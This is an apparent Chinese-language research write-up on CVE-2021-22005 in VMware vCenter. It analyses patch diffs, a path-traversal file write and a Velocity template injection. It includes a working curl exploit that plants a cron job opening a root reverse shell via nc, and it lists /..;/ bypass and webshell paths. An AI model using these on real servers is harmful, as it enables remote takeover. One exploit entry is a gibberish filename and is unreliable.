CVE-2021-22005
Analytics服务相关端点存在目录穿越写文件,可将
影响版本:
- 7.0 <= vCenter Server < 7.0 U2c
- 6.7 <= vCenter Server < 6.7 U3o
利用链1:curl -k -X POST 'https://1.1.1.1/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/syslog' -d '* * * * * root nc -e /bin/sh 2.2.2.2 1337' -H 'Content-Type: application/json'
利用链2:asdklajsdlkajsdlkajsdakjsdhalskdasdioasiodaklsd.py
AsyncTelemetryController漏洞分析
vCenter在9月更新修复了一堆漏洞,由官方发布的CVE-2021-22005缓解措施可以知道漏洞所在服务与Web路径:

对应路径的rhttpproxy策略在vCenter各版本中也不尽相同:

下载漏洞修复前后的两个补丁(VMware-vCenter-Server-Appliance-6.7.0.48000-18010531-patch-FP.iso、VMware-vCenter-Server-Appliance-6.7.0.50000-18485166-patch-FP.iso)并解压VMware-analytics的rpm包,反编译对比相关jar包:

对/ph/api/hyper/send路径的_v、_c、_i请求参数分别绑定给version、collectorId、collectorInstanceId变量,随后调用存在补丁变动的handleSendRequest方法,添加了对传入变量的白名单校验。AsyncTelemetryController类的另一处补丁变动类似,在handleGetLevelRequest方法添加了白名单校验。

跟进TelemetryService接口相应的具体实现,之前组装好的TelemetryRequest对象被加入了线程池异步调用。在/etc/vmware-analytics/ph-telemetry-prod.xml找到bean相关类。

1 | <bean id="phProdTelemetryService" |
- 动态调试套路与之前一样,配置文件在
/etc/vmware/vmware-vmon/svcCfgfiles/analytics.json,改完重启服务service-control --restart vmware-analytics
TelemetryLevelBasedTelemetryServiceWrapper类processTelemetry方法会调用DefaultTelemetryLevelService类getTelemetryLevel方法获取telemetryLevel。

继续跟进看到需要isCeipEnabled不为默认值false才会继续流程:

随后调用LogTelemetryService类processTelemetry方法,利用log4j写日志文件至/var/log/vmware/analytics/prod/目录,文件内容为POST请求体数据。

很自然地想到之前21972目录穿越写文件,不同的是此时存在json后缀名,不能直接写WebShell;也要注意到我们此时是root而非vsphere-ui用户,可以写计划任务。但是构造/../后_c_i目录不存在,导致目录穿越报错:

可以先发送_i=/any,利用createManager方法的FileUtils.makeParentDirs将_c_i目录创建出来,随后再由目录穿越写计划任务反弹shell。

DataAppAgentController漏洞分析
对比官方验证脚本的另一处路径对应jar包,/dataapp/agent路径的action=collect相关代码被整段移除:

跟进collect方法后经历了各种类方法跳转,将POST请求体中JSON的manifestContent参数值解析后,作为VelocityHelper.executeVelocityExpression方法的入参this._mappingCode。

接着带入VelocityEngine类evaluate方法作为模板语句动态执行:

- 不同版本的Velocity方法名略有不同
最终 @testbnull 发现可以通过上下文可用的$GLOBAL-logger,利用setFile方法临时修改日志路径到Web路径的方式,写入WebShell实现RCE。


Bypass
由于Tomcat会将/..;/视作/../,可以利用该特性绕过vCenter某些版本的rhttpproxy的访问限制,也可以用来绕过某些WAF的简单规则。
/analytics/cloudhealth/sdk/..;/..;/ph/api/xxx
漏洞利用还有如下路径可供参考,但我没有仔细测试各个版本:
1 | /analytics/ceip/sdk |
对/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/下的WebShell也需要利用路径穿越访问,用得最多的是/idm/..;/shell.jsp,还有如下访问路径可供参考:
1 | /sso-adminserver/idp |